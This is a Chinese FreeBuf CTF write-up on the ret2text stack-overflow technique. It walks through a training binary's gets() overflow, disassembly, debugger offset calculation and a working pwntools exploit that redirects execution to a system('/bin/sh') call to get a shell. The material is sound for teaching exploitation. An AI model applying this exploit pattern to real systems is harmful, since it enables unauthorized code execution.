freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Basic-Rop-1
2021-11-02 16:59:41

Basic-Rop-1

Exp模板:

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./XXX')
#sh = elf.process()
sh = remote("XXX",XXX)

Ret2text

原理

ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
————————摘自CTF-WIKI

分析

保护机制

xiaoyu@iot-pwn$ ~/Desktop/basic-rop/ret2text checksec ret2text
[*] '/home/xiaoyu/Desktop/basic-rop/ret2text/ret2text'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

程序信息

xiaoyu@iot-pwn$ ~/Desktop/basic-rop/ret2text binwalk ret2text 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             ELF, 32-bit LSB executable, Intel 80386, version 1 (SYSV)
5300          0x14B4          Unix path: /usr/lib/gcc/x86_64-linux-gnu/4.8/include

代码审计

1、

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-64h]

  setvbuf(stdout, 0, 2, 0);
  setvbuf(_bss_start, 0, 1, 0);
  puts("There is something amazing here, do you know anything?");
  gets(&s);
  printf("Maybe I will tell you next time !");
  return 0;
}

简单的栈溢出,gets函数突破口
2、

-------------------------------------------------------------------------------------------
.text:08048648 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:08048648                 public main
.text:08048648 main            proc near               ; DATA XREF: _start+17↑o
.text:08048648
.text:08048648 s               = byte ptr -64h
.text:08048648 argc            = dword ptr  8
.text:08048648 argv            = dword ptr  0Ch
.text:08048648 envp            = dword ptr  10h
.text:08048648
.text:08048648 ; __unwind {
.text:08048648                 push    ebp
.text:08048649                 mov     ebp, esp
.text:0804864B                 and     esp, 0FFFFFFF0h
.text:0804864E                 add     esp, 0FFFFFF80h
.text:08048651                 mov     eax, ds:stdout@@GLIBC_2_0
.text:08048656                 mov     dword ptr [esp+0Ch], 0 ; n
.text:0804865E                 mov     dword ptr [esp+8], 2 ; modes
.text:08048666                 mov     dword ptr [esp+4], 0 ; buf
.text:0804866E                 mov     [esp], eax      ; stream
.text:08048671                 call    _setvbuf
.text:08048676                 mov     eax, ds:__bss_start
.text:0804867B                 mov     dword ptr [esp+0Ch], 0 ; n
.text:08048683                 mov     dword ptr [esp+8], 1 ; modes
.text:0804868B                 mov     dword ptr [esp+4], 0 ; buf
.text:08048693                 mov     [esp], eax      ; stream
.text:08048696                 call    _setvbuf
.text:0804869B                 mov     dword ptr [esp], offset s ; "There is something amazing here, do you"...
.text:080486A2                 call    _puts
.text:080486A7                 lea     eax, [esp+80h+s]
.text:080486AB                 mov     [esp], eax      ; s
.text:080486AE                 call    _gets
.text:080486B3                 mov     dword ptr [esp], offset format ; "Maybe I will tell you next time !"
.text:080486BA                 call    _printf
.text:080486BF                 mov     eax, 0
.text:080486C4                 leave
.text:080486C5                 retn
.text:080486C5 ; } // starts at 8048648
.text:080486C5 main            endp
.text:080486C5
.text:080486C5 ; 
---------------------------------------------------------------------------

第30行

.text:080486A7                 lea     eax, [esp+80h+s]

s是相对于esp索引所以我们需要找到esp的地址这样就可以推断出s的地址以及s相对于ebp,返回地址的偏移地址
查找esp的地址可以从动态调试中获取。
有了这些地址我们就可以计算需要填充多少字符去溢出。
查看程序是否还有可以直接利用的东西

ROPgadget --binary ret2text --string "/bin/sh"

gadgets

.text:080485FD ; void secure()
.text:080485FD                 public secure
.text:080485FD secure          proc near
.text:080485FD
.text:080485FD input           = dword ptr -10h
.text:080485FD secretcode      = dword ptr -0Ch
.text:080485FD
.text:080485FD ; __unwind {
.text:080485FD                 push    ebp
.text:080485FE                 mov     ebp, esp
.text:08048600                 sub     esp, 28h
.text:08048603                 mov     dword ptr [esp], 0 ; timer
.text:0804860A                 call    _time
.text:0804860F                 mov     [esp], eax      ; seed
.text:08048612                 call    _srand
.text:08048617                 call    _rand
.text:0804861C                 mov     [ebp+secretcode], eax
.text:0804861F                 lea     eax, [ebp+input]
.text:08048622                 mov     [esp+4], eax
.text:08048626                 mov     dword ptr [esp], offset unk_8048760
.text:0804862D                 call    ___isoc99_scanf
.text:08048632                 mov     eax, [ebp+input]
.text:08048635                 cmp     eax, [ebp+secretcode]
.text:08048638                 jnz     short locret_8048646
.text:0804863A                 mov     dword ptr [esp], offset command ; "/bin/sh"
.text:08048641                 call    _system
.text:08048646
.text:08048646 locret_8048646:                         ; CODE XREF: secure+3B↑j
.text:08048646                 leave
.text:08048647                 retn
.text:08048647 ; } // starts at 80485FD
.text:08048647 secure          endp
.text:08048647

思路

通过动态调试获取esp的地址然后推断出s的地址以及s相对于ebp,返回地址的偏移地址计算出填充多少字符造成溢出然后构造ROP
去劫持程序跳转到
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
这个位置
就可以getshell了

动态调试

1、断点0x080486ae
断点1

断点2

断点3

esp_addr = 0xffffcc90
ebp_addr = 0xffffcd18

断点4

而s相对于esp的索引为esp+0x1c

s_addr = 0xffffccac

s相对于ebp的偏移为0x6c

0xffffcd18-0xffffccac=0x6c

s相对于返回地址的偏移为0x6c+4
因此我们得出我们payload里填充的字节数为0x6c+4

EXP构造(python2)EXP构造(python2)

# -*- coding: UTF-8 -*-
#by 小渔xiaoyu
from pwn import*
context(os='linux', arch='i386', log_level='debug')
elf = ELF('./ret2text')
sh = elf.process()
shell_add = 0x0804863A
payload = ""
payload += "A"*(0x6c+4)
payload += p32(shell_add)
sh.recvuntil("There is something amazing here, do you know anything?")
sh.sendline(payload)
sh.interactive()

getshell

栈帧结构

如下图:
栈帧结构图
栈帧结构图

本文作者:, 转载请注明来自FreeBuf.COM

# CTF # 网络安全技术
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑